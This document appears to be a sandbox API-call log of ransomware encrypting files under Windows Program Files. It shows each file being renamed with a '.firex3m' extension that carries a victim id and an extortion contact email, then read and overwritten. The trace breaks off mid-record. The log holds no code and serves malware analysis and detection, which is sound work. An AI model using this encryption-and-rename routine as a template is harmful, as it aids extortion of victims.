[0236.061] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.528] CloseHandle (hObject=0x6f8) returned 1 [0236.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.528] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd556, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0236.544] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.544] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.544] GetProcessHeap () returned 0x630000 [0236.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7039d40 [0236.544] GetProcessHeap () returned 0x630000 [0236.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7045170 [0236.544] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.544] ReadFile (in: hFile=0x6f8, lpBuffer=0x7039d40, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d40*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0242.436] GetProcessHeap () returned 0x630000 [0242.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c648 [0242.437] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.437] WriteFile (in: hFile=0x6f8, lpBuffer=0x7045170*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7045170*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0242.437] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.437] WriteFile (in: hFile=0x6f8, lpBuffer=0x705056f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x705056f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.437] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.437] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.437] CloseHandle (hObject=0x6f8) returned 1 [0243.941] GetProcessHeap () returned 0x630000 [0243.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7045170 | out: hHeap=0x630000) returned 1 [0243.941] GetProcessHeap () returned 0x630000 [0243.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7039d40 | out: hHeap=0x630000) returned 1 [0243.941] GetProcessHeap () returned 0x630000 [0243.941] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c648 | out: hHeap=0x630000) returned 1 [0243.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x56729863, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd57a, dwReserved0=0xce07496, dwReserved1=0x7039d38, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0243.942] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.942] Sleep (dwMilliseconds=0x1) [0245.342] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl", len=0x78 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl") returned 1 [0245.342] GetProcessHeap () returned 0x630000 [0245.342] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e74) returned 0x6fe3bb0 [0245.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0245.343] CloseHandle (hObject=0x66c) returned 1 [0245.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d4f80 [0245.344] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0245.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0245.344] GetProcessHeap () returned 0x630000 [0245.344] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x731ceb0 [0245.344] GetProcessHeap () returned 0x630000 [0245.344] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x74b2440 [0245.345] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.345] ReadFile (in: hFile=0x66c, lpBuffer=0x731ceb0, nNumberOfBytesToRead=0x8a20, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x731ceb0*, lpNumberOfBytesRead=0x3cfff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0252.005] GetProcessHeap () returned 0x630000 [0252.005] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0252.006] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.006] WriteFile (in: hFile=0x66c, lpBuffer=0x74b2440*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b2440*, lpNumberOfBytesWritten=0x3cfff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0252.006] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.006] WriteFile (in: hFile=0x66c, lpBuffer=0x74bae5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74bae5f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0252.006] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.006] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0252.006] CloseHandle (hObject=0x66c) returned 1 [0253.673] GetProcessHeap () returned 0x630000 [0253.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b2440 | out: hHeap=0x630000) returned 1 [0253.673] GetProcessHeap () returned 0x630000 [0253.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731ceb0 | out: hHeap=0x630000) returned 1 [0253.674] GetProcessHeap () returned 0x630000 [0253.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0254.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c277970, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a4e, dwReserved0=0xce07496, dwReserved1=0x731cea8, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d4e00 [0254.422] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0254.422] Sleep (dwMilliseconds=0x1) [0254.445] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-100.png", len=0xa1 | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-100.png") returned 1 [0254.445] GetProcessHeap () returned 0x630000 [0254.445] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0254.445] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_BadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_badgelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.455] Sleep (dwMilliseconds=0x1) [0254.463] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", len=0x5c | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri") returned 1 [0254.463] GetProcessHeap () returned 0x630000 [0254.463] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de8) returned 0x6fe3bb0 [0254.463] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.472] Sleep (dwMilliseconds=0x1) [0254.484] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF", len=0x70 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF") returned 1 [0254.484] GetProcessHeap () returned 0x630000 [0254.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db4) returned 0x6fe3bb0 [0254.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0254.485] CloseHandle (hObject=0x6cc) returned 1 [0254.485] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="RICEPAPR.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RICEPA~1.FIR")) returned 0x6d4f00 [0254.576] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0254.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0254.577] GetProcessHeap () returned 0x630000 [0254.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665a50 [0254.577] GetProcessHeap () returned 0x630000 [0254.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666b28 [0254.577] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.578] ReadFile (in: hFile=0x6cc, lpBuffer=0x665a50, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a50*, lpNumberOfBytesRead=0x3cfff0c*=0x220, lpOverlapped=0x0) returned 1 [0254.588] GetProcessHeap () returned 0x630000 [0254.588] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0254.588] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.588] WriteFile (in: hFile=0x6cc, lpBuffer=0x666b28*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x666b28*, lpNumberOfBytesWritten=0x3cfff0c*=0x220, lpOverlapped=0x0) returned 1 [0254.588] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.588] WriteFile (in: hFile=0x6cc, lpBuffer=0x666d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d47*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.589] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.589] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.589] CloseHandle (hObject=0x6cc) returned 1 [0254.589] GetProcessHeap () returned 0x630000 [0254.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666b28 | out: hHeap=0x630000) returned 1 [0254.589] GetProcessHeap () returned 0x630000 [0254.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a50 | out: hHeap=0x630000) returned 1 [0254.589] GetProcessHeap () returned 0x630000 [0254.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5db2c40b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x3cffd20, dwReserved1=0x665a50, cFileName="RICEPAPR.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RICEPA~1.FIR")) returned 0x6d51c0 [0254.589] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.589] Sleep (dwMilliseconds=0x1) [0254.604] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF", len=0x6e | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF") returned 1 [0254.604] GetProcessHeap () returned 0x630000 [0254.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da4) returned 0x6fe3bb0 [0254.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0254.606] CloseHandle (hObject=0x6cc) returned 1 [0254.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, 